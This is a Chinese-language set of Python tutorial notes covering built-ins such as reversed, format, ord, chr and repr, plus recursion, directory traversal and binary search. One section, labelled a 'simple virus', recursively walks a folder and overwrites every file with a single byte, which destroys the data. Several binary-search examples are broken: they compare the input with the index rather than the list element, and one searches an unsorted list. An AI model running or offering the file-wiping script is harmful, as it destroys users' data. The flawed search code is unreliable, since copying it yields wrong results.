1.昨日的补充
reversed 翻转, 将一个序列翻转,返回翻转序列的迭代器
lst = [\"河南话\", \"四川话\", \"东北\", \"山东\", \"上海\"]
n = reversed(lst)
print(list(n))
判断是不是回文
huiwen = \"上海自来水来自海上\"
# s = huiwen[::-1] #切片的翻转
s1 = reversed(huiwen) ###返回的是迭代器
n =\"\"
for i in s1:
n += i
print(n)
slice 切片 ###麻烦
lst = [\"河南话\", \"四川话\", \"东北\", \"山东\", \"上海\"]
s = slice(3, 5)
print(lst[s])
format() 与具体数据相关,用于计算各种小数,精算等
#格式化输出
s = \"我叫{name}, 我来自{home}, 我喜欢干{hobby}\".format(name=\"周杰伦\", home=\"台湾\", hobby=\"唱歌\")
print(s)
# 字符串 和center 相同 对齐
# s = \"门神\"
# s1 = s.center(20)
# print(s1)
print(format(\'test\', \'<20\')) # 左对⻬
print(format(\'test\', \'>20\')) # 右对⻬
print(format(\'test\', \'^20\')) # 居中
# 数值
print(format(3, \'b\')) # ⼆进制
print(format(97, \'c\')) # 转换成unicode字符
print(format(11, \'d\')) # ⼗进制
print(format(11, \'o\')) # ⼋进制
print(format(11, \'x\')) # ⼗六进制(⼩写字⺟)
print(format(11, \'X\')) # ⼗六进制(⼤写字⺟)
print(format(11, \'n\')) # 和d⼀样
print(format(11)) # 和d⼀样
# 浮点数 (重点,主要运用在金融计算)
print(format(123456789, \'e\')) # 科学计数法. 默认保留6位⼩数
print(format(123456789, \'0.2e\')) # 科学计数法. 保留2位⼩数(⼩写) print(format(123456789, \'0.2E\')) # 科学计数法. 保留2位⼩数(⼤写) print(format(1.23456789, \'f\')) # ⼩数点计数法. 保留6位⼩数
print(format(1.23456789, \'0.2f\')) # ⼩数点计数法. 保留2位⼩数 print(format(1.23456789, \'0.10f\')) # ⼩数点计数法. 保留10位⼩数 print(format(1.23456789e+10000, \'F\')) # ⼩数点计数法.
ord() 输入字符找带字符编码的位置
# 找到对应字符的编码位置
print(ord(\'a\'))
print(ord(\'中\'))
chr() 输入位置数字找出对应的字符
# 找到对应编码位置的字符
print(chr(97))
print(chr(20013))
ascii() 是ascii码中的返回该值 不是就返回\\u...
# 在ascii中就返回这个值. 如果不在就返回\\u...
print(ascii(\'a\'))
print(ascii(\'好\'))
转义字符
\\n 换行
\\t tab 制表符
\\r 回车
\\\" 双引号
\\\' 单引号
\\\\ ---> \\
print(\'你好, 我叫周杰伦.我来自\\\\n台湾. 我老婆叫昆凌\')
repr() 返回⼀个对象的string形式, 还原字符串最官方的效果
r 原封不动的显示字符串
# repr 就是原封不动的输出, 引号和转义字符都不起作⽤
print(repr(\'⼤家好,\\n \\t我叫周杰伦\'))
print(\'⼤家好我叫周杰伦\')
# %r 原封不动的写出来
name = \'taibai\'
print(\'我叫%r\' % name)
str:python的字符串
repr: 所有的字符串
print(repr(\"你好. \\\\n我叫\\周杰伦\")) # python -> repr() -> cpython c里面. 报错
print(r\"\\n\\t范德萨发生\\r\\b\\ffdsaf\") # 原封不动的显示字符串
递归
递归就是函数自己调用自己,递归必须要有入口(参数)和出口(return)
def func():
print(\"我是递归\")
func()
树形结构的遍历
import os
def func(lujing, n): # \"d:/a/\"
lst = os.listdir(lujing) # 打开文件夹. 列出该文件夹内的所有文件名
for el in lst: # el是文件的名字. b, c
# 还原文件路径
path = os.path.join(lujing, el) # \"d:/a/b\"
if os.path.isdir(path): # 判断路径是否是文件夹
print(\"...\" * n,el) # 显示文件夹的名字
func(path, n + 1) # 在来一次 ################
else:
print(\"\\t\" * n,el) # 显示文件
func(\"d:/a\", 0)
简易的病毒
import os
def func(lujing, n): # d:/a/b
lst = os.listdir(lujing)
for el in lst: # b, c
# 路径
path = os.path.join(lujing, el) # 拼接路径 d:/a/b
# 判断是文件还是文件夹
if os.path.isdir(path):
print(\"\\t\" * n, el)
func(path, n+1)
else:
f = open(path, mode=\"wb\") ##路径写入
f.write(b\'1\') #通过修改字节
print(\"\\t\" * n, el)
func(\"d:/a/\", 0)
二分法
掐头结尾取中间,规则: 掐头结尾取中间,数据必须是有序序列
查找效率非常高
###通过循环列表跟输入的数字进行比较
lst = [1,3,5,7,12,36,68,79] # 数据集 百万级数据
num = int(input(\"请输入一个数字:\"))
for i in lst:
if i == num:
print(\"这个数存在\")
break
else:
print(\"这个数不存在\")
二分法查找(需要明白和掌握)
lst = [1,3,5,7,12,36,68,79]
0 1 2 3 4 5 6 7 #通过索引最左加上最右地板除取中间
num = int(input(\"请输入一个数字:\"))
lift = 0
right = len(lst) -1
while lift <= right:
mid = (lift + right) // 2
if num > mid:
lift = mid + 1
elif num < mid:
right = mid -1
else:
print(\'存在\')
break
else:
print(\'不存在\')
递归的方法一: 通过索引列表的索引
#递归
def func(n, lst):
lift = 0
right = len(lst)
if lst != []:
mid = (lift+right) // 2
if n > lst[mid]:
func(n, lst[mid+1:])
elif n < mid:
func(n, lst[:mid])
else:
print(\"存在\")
return
else:
print(\'不存在\')
return
n = int(input(\"请输入一个数字:\"))
func(n, [1,3,5,7,12,36,68,79])
递归二(需要明白和掌握)
def func(n, lst, left, right): # 递归找到什么是可以变的. 什么是不可以变的
if left <= right:
mid = (left + right) // 2
if n > lst[mid]:
left = mid + 1
return func(n, lst, left, right)
elif n < lst[mid]:
right = mid - 1
return func(n, lst, left, right) # 递归如果有返回值. 所有调用递归的地方必须写return
else:
print(\"找到了\")
return mid # 难点
else:
print(\"找不到\")
return -1
n = int(input(\"请输入你要查找的数:\"))
lst = [1,3,55,98,37,41,2,5,1,4]
ret = func(n, lst, 0, len(lst)-1) # 78
print(ret)
最快的查找
lst = [1,3,55,98,37,41,2,5,1,4]
new_lst = []
for i in range(99):
new_lst.append(0)
for i in lst: # 1,3,55,98
new_lst[i] = 1
print(new_lst)
i = int(input(\'请输入你要找的数据\'))
if new_lst[i] == 0: # 1次
print(\"不存在\")
else:
print(\"存在\")
继续阅读与本文标签相同的文章
上一篇 :
一款API旅游产品即将霸屏你的手机
下一篇 :
人工智能拯救渣画手,我分分钟画只猫给你看
-
从立创EDA,Gratipay看中文编程开发环境和推广运营的一个趋势
2026-05-19栏目: 教程
-
开发者必读 · 周报 | 001期
2026-05-19栏目: 教程
-
左手代码右手滑板 支付宝这个程序员有些酷
2026-05-19栏目: 教程
-
标记您的阿里云资源
2026-05-19栏目: 教程
-
无需开发,IT事件接入钉钉的方法详解
2026-05-19栏目: 教程
